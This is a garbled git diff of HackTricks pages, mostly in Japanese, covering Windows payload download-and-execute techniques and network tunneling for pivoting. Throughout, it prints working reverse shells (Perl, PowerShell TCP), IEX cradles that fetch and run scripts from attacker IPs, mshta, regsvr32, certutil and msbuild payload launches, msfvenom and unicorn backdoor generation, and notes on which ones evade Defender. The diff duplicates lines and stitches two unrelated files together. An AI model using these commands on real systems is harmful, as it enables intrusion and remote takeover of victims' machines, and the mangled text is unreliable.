perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
@ -88,7 +88,7 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
``` ```
## Powershell ## Powershell
PowerShellは、Windowsシステムで広く使用されているスクリプト言語およびシェルフレームワークです。PowerShellを使用すると、システム管理者はタスクの自動化やスクリプトの作成を容易に行うことができます。PowerShellは、Windowsの機能を活用してシステムに対する高度な制御を提供します。 PowerShellは、Windowsシステムで広く使用されているスクリプト言語およびシェルフレームワークです。PowerShellを使用すると、システム管理者は効率的にタスクを自動化し、スクリプトを作成して実行することができます。PowerShellは、Windowsの機能を活用してシステムに対する深い制御を提供します。
```bash ```bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
@ -96,12 +96,14 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
``` ```
ネットワークコールを実行するプロセス: **powershell.exe**\ ネットワークコールを実行するプロセス: **powershell.exe**\
ディスクに書き込まれたペイロード: **NO** (_少なくともprocmonを使用して見つけられなかった_) ディスクに書き込まれたペイロード: **NO** (_少なくともprocmonを使用して見つけられる場所にはない_)
```bash ```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1 powershell -exec bypass -f \\webdavserver\folder\payload.ps1
``` ```
ネットワークコールを実行するプロセス: **svchost.exe**\ ネットワークコールを実行するプロセス: **svchost.exe**\
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ** ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
**ワンライナー:**
```bash ```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
``` ```
@ -125,11 +127,11 @@ mshta \\webdavserver\folder\payload.hta
```xml ```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt> <scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
``` ```
**Koadicゾンビを非常に簡単にダウンロードして実行できます。ステージャーhtaを使用します** **Koadicゾンビをステージャーhtaを使用して非常に簡単にダウンロードして実行できます**
#### htaの例 #### htaの例
[**こから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) [**こちらから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
```xml ```xml
<html> <html>
<head> <head>
@ -146,7 +148,7 @@ new ActiveXObject('WScript.Shell').Run(c);
``` ```
#### **mshta - sct** #### **mshta - sct**
[**こちらから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) [**こから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml ```xml
<?XML version="1.0"?> <?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); --> <!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -164,7 +166,7 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
``` ```
#### **Mshta - Metasploit** #### **Mshta - Metasploit**
Mshta is a tool in Metasploit that allows you to execute HTA (HTML Application) files. This can be useful for bypassing application whitelisting or executing malicious scripts on a target system. Mshta is a tool in Metasploit that allows execution of HTA (HTML Application) files. It can be used to run malicious scripts in memory without touching the disk, making it a stealthy way to execute code on a target system.
```bash ```bash
use exploit/windows/misc/hta_server use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
@ -184,7 +186,7 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given
[**Dll hello world example**](https://github.com/carterjones/hello-world-dll) [**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
* [から](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) * [ちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash ```bash
rundll32 \\webdavserver\folder\payload.dll,entrypoint rundll32 \\webdavserver\folder\payload.dll,entrypoint
``` ```
@ -259,7 +261,7 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
``` ```
#### **Regsvr32 - Metasploit** #### **Regsvr32 - Metasploit**
Regsvr32 is a legitimate Windows program used to register and unregister OLE controls like DLLs and ActiveX controls in the Windows Registry. However, it can also be abused by attackers to execute malicious scripts. Metasploit provides a payload that can be used with Regsvr32 to execute malicious code on a target system. Regsvr32 is a legitimate Windows program used to register and unregister OLE controls like DLLs and ActiveX controls in the Windows Registry. However, it can also be abused by attackers to execute malicious scripts. Metasploit provides a payload called `regsvr32` that can be used to execute malicious code on a target system using Regsvr32.
```bash ```bash
use multi/script/web_delivery use multi/script/web_delivery
set target 3 set target 3
@ -282,7 +284,7 @@ B64exeをダウンロードし、デコードして実行します。
```bash ```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
``` ```
**Defenderによって検出されました** **Defenderに検出された**
## **Cscript/Wscript** ## **Cscript/Wscript**
@ -318,11 +320,11 @@ impacket-smbserver -smb2support kali `pwd`
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80 python -m SimpleHTTPServer 80
``` ```
被害者: 被害者
``` ```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
``` ```
**検出されました** **検出**
## **Wmic** ## **Wmic**
@ -330,7 +332,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```bash ```bash
wmic os get /format:"https://webserver/payload.xsl" wmic os get /format:"https://webserver/payload.xsl"
``` ```
例のxslファイルは[こちら](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)からダウンロードできます。 例のxslファイルは[こちら](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)から
```xml ```xml
<?xml version='1.0'?> <?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
@ -344,7 +346,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
``` ```
**検出されていません** **検出されていません**
**ステージャー wmic を使用して、非常に簡単に Koadic ゾンビをダウンロードして実行できます** **ステージャーwmicを使用して、非常に簡単にKoadicゾンビをダウンロードして実行できます**
## Msbuild ## Msbuild
@ -352,8 +354,8 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
``` ```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
``` ```
このテクニックを使用して、アプリケーションホワイトリストとPowershell.exeの制限をバイパスできます。\ You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\
PSシェルがプロンプトされるため、これをダウンロードして実行してください: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
``` ```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
``` ```
@ -365,13 +367,13 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
``` ```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
``` ```
以下は、ここから基本的なC#リバースシェルをダウンロードできます:[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) 以下から基本的なC#リバースシェルをダウンロードできます:[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**検出されていません** **検出されていません**
## **Regasm/Regsvc** ## **Regasm/Regsvc**
* [から](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) * [ちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash ```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
``` ```
@ -381,7 +383,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
## Odbcconf ## Odbcconf
* [から](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) * [ちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash ```bash
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
``` ```
@ -395,11 +397,11 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
**Shells**フォルダには、さまざまなシェルがあります。Invoke-_PowerShellTcp.ps1_をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します: **Shells** フォルダには、さまざまなシェルがあります。Invoke-_PowerShellTcp.ps1_ をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します:
``` ```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
``` ```
犠牲者の端末でスクリプトを実行するために、ウェブサーバーでスクリプトを提供を開始します: 次の手順でスクリプトをWebサーバーで提供し、被害者の端末で実行します:
``` ```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
``` ```
@ -417,7 +419,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c
``` ```
Defenderはそれを悪意のあるコードとして検出しませんまだ、2019年3月4日 Defenderはそれを悪意のあるコードとして検出しませんまだ、2019年3月4日
**powercatによって提供されるその他のオプション:** **powercatによって提供される他のオプション:**
バインドシェル、リバースシェルTCP、UDP、DNS、ポートリダイレクト、アップロード/ダウンロード、ペイロードの生成、ファイルの提供... バインドシェル、リバースシェルTCP、UDP、DNS、ポートリダイレクト、アップロード/ダウンロード、ペイロードの生成、ファイルの提供...
``` ```
@ -450,21 +452,21 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
unicornを使用して、metasploitバックドアのPowerShellバージョンを作成 unicornを使用して、metasploitバックドアのPowerShellバージョンを作成します。
``` ```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
``` ```
```shell ```plaintext
use exploit/multi/handler msfconsole -r <resource_file>
set payload windows/meterpreter/reverse_tcp ```
set LHOST <Local-IP>
set LPORT <Local-Port> ```plaintext
exploit -j 作成したリソースを使用してmsfconsoleを起動します
``` ```
``` ```
msfconsole -r unicorn.rc msfconsole -r unicorn.rc
``` ```
以下の手順を実行して、被害者の端末で _powershell\_attack.txt_ ファイルを提供するWebサーバーを起動します。 次のコマンドを使用して、_powershell\_attack.txt_ ファイルを提供するWebサーバーを起動し、被害者のデバイスで実行します
``` ```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
``` ```
@ -488,7 +490,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) いくつかの攻撃的なPS
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -499,9 +501,9 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) いくつかの攻撃的なPS
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する * **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -5,16 +5,16 @@
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksのスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -23,7 +23,7 @@
## Nmapのヒント ## Nmapのヒント
{% hint style="warning" %} {% hint style="warning" %}
**ICMP**および**SYN**スキャンはソックスプロキシを介してトンネリングすることはできませんので、これを機能させるために**ping discoveryを無効に**`-Pn`)し、**TCPスキャン**`-sT`)を指定する必要があります。 **ICMP**および**SYN**スキャンはソックスプロキシを介してトンネリングすることはできませんので、これを動作させるには**ping discoveryを無効に**`-Pn`)し、**TCPスキャン**`-sT`)を指定する必要があります。
{% endhint %} {% endhint %}
## **Bash** ## **Bash**
@ -62,7 +62,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
``` ```
### ポートツーポート ### ポートツーポート
ローカルポート --> 侵害されたホストSSH --> 第三のボックス:ポート ローカルポート --> 侵害されたホストSSH --> サードボックス:ポート
```bash ```bash
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example #Example
@ -87,7 +87,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
``` ```
### VPNトンネル ### VPNトンネル
両方のデバイスで**root権限**が必要です(新しいインターフェースを作成するため)そしてsshdの設定でrootログインを許可する必要があります:\ 両方のデバイスで**root権限**が必要です(新しいインターフェースを作成するため)。また、sshdの設定でrootログインを許可する必要があります:\
`PermitRootLogin yes`\ `PermitRootLogin yes`\
`PermitTunnel yes` `PermitTunnel yes`
```bash ```bash
@ -109,7 +109,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
## SSHUTTLE ## SSHUTTLE
ホストを介してサブネットワークへのすべてのトラフィックをssh経由で**トンネリング**できます。\ ホストを介してサブネットワークへのすべてのトラフィックをssh経由で**トンネリング**できます。\
たとえば、10.10.10.0/24に向かうすべてのトラフィックを転送します。 たとえば、10.10.10.0/24に向かうすべてのトラフィックを転送する場合
```bash ```bash
pip install sshuttle pip install sshuttle
sshuttle -r user@host 10.10.10.10/24 sshuttle -r user@host 10.10.10.10/24
@ -130,7 +130,7 @@ portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
``` ```
### SOCKS ### SOCKS
SOCKSSocket Secureは、ネットワークソケットを通じてトラフィックを転送するためのプロトコルです。通常、ファイアウォールをバイパスするために使用され、匿名性を提供するためにも使用されます。 SOCKSSocket Secureは、ネットワークソケットを通じてトラフィックを転送するためのプロトコルです。通常、ファイアウォールをバイパスするために使用され、プライバシーと匿名性を提供します。
```bash ```bash
background# meterpreter session background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8) route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
@ -138,7 +138,37 @@ use auxiliary/server/socks_proxy
run #Proxy port 1080 by default run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
``` ```
もう一つの方法: ## Tunneling and Port Forwarding
### Local Port Forwarding
Local port forwarding allows you to forward traffic on a port from your local machine to a remote server. This can be useful for accessing services on a remote server securely.
To set up local port forwarding, you can use the following command:
```bash
ssh -L <local_port>:<remote_server>:<remote_port> user@remote_server
```
### Remote Port Forwarding
Remote port forwarding allows you to forward traffic from a remote server to your local machine. This can be helpful when you want to expose a service running on your local machine to the outside world.
To establish remote port forwarding, you can utilize the command below:
```bash
ssh -R <remote_port>:<local_machine>:<local_port> user@remote_server
```
### Dynamic Port Forwarding
Dynamic port forwarding creates a SOCKS proxy that allows you to tunnel traffic through a remote server. This can be advantageous for anonymizing your internet traffic or bypassing network restrictions.
To enable dynamic port forwarding, you can employ the following SSH command:
```bash
ssh -D <local_socks_port> user@remote_server
```
```bash ```bash
background #meterpreter session background #meterpreter session
use post/multi/manage/autoroute use post/multi/manage/autoroute
@ -166,7 +196,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port ### rPort2Port
{% hint style="warning" %} {% hint style="warning" %}
この場合、**ポートはビーコンホストで開かれ**、チームサーバーではなく、そこから指定されたホストポートにトラフィックが送信されます。 この場合、**ポートはビーコンホストで開かれ**、チームサーバーではなく、そこから指定されたホスト:ポートにトラフィックが送信されます。
{% endhint %} {% endhint %}
```bash ```bash
rportfwd [bind port] [forward host] [forward port] rportfwd [bind port] [forward host] [forward port]
@ -175,7 +205,7 @@ rportfwd stop [bind port]
### rPort2Port ローカル ### rPort2Port ローカル
{% hint style="warning" %} {% hint style="warning" %}
この場合、**ポートはビーコンホストで開かれ**、チームサーバーではなく**Cobalt Strikeクライアントにトラフィックが送信され**、そこから指定されたホスト:ポートに送信されます。 この場合、**ポートはビーコンホストで開かれ**、チームサーバーではなく**トラフィックがCobalt Strikeクライアントに送信**され、そこから指定されたホスト:ポートに送信されます。
{% endhint %} {% endhint %}
``` ```
rportfwd_local [bind port] [forward host] [forward port] rportfwd_local [bind port] [forward host] [forward port]
@ -271,7 +301,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
**/bin/sh コンソール** **/bin/sh コンソール**
両側で証明書を作成します:クライアントとサーバ 両側で証明書を作成します:クライアントとサーバ
```bash ```bash
# Execute these commands on both sides # Execute these commands on both sides
FILENAME=socatssl FILENAME=socatssl
@ -287,7 +317,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.
``` ```
### リモートポートツーポート ### リモートポートツーポート
ローカルのSSHポート22を攻撃者ホストの443ポートに接続します。 ローカルのSSHポート22を攻撃者ホストの443ポートに接続します。
```bash ```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
@ -329,9 +359,9 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
# Load SocksOverRDP.dll using regsvr32.exe # Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
``` ```
今、`mstsc.exe`を使用してRDP経由で被害者に**接続**でき、**SocksOverRDPプラグインが有効**になっているという**プロンプト**が表示され、**127.0.0.1:1080**で**リッスン**されます。 Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**.
**RDP**経由で**接続**し、被害者のマシンに`SocksOverRDP-Server.exe`バイナリをアップロードして実行します: **Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary:
``` ```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
``` ```
@ -339,18 +369,18 @@ C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
``` ```
netstat -antb | findstr 1080 netstat -antb | findstr 1080
``` ```
Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.** 今、そのポートを介してトラフィックをプロキシするために[**Proxifier**](https://www.proxifier.com/) **を使用できます。**
## Proxify Windows GUI Apps ## Windows GUIアプリをプロキシ化する
You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ Windows GUIアプリをプロキシを使用してナビゲートすることができます。[**Proxifier**](https://www.proxifier.com/)を使用します。\
In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\ **Profile -> Proxy Servers** でSOCKSサーバーのIPとポートを追加します。\
In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify. **Profile -> Proxification Rules** でプロキシを適用するプログラムの名前とプロキシを適用したいIPへの接続を追加します。
## NTLM proxy bypass ## NTLMプロキシバイパス
The previously mentioned tool: **Rpivot**\ 先に言及したツール: **Rpivot**\
**OpenVPN** can also bypass it, setting these options in the configuration file: **OpenVPN** もこれをバイパスできます。構成ファイルでこれらのオプションを設定します。
```bash ```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
``` ```
@ -392,7 +422,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
``` ```
### DNSCat2 ### DNSCat2
[**こちらからダウンロードしてください**](https://github.com/iagox86/dnscat2)**.** [**こからダウンロードしてください**](https://github.com/iagox86/dnscat2)**.**
DNSを介してC\&Cチャネルを確立します。ルート権限は必要ありません。 DNSを介してC\&Cチャネルを確立します。ルート権限は必要ありません。
```bash ```bash
@ -417,7 +447,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
``` ```
#### プロキシチェーンのDNSの変更 #### プロキシチェーンのDNSの変更
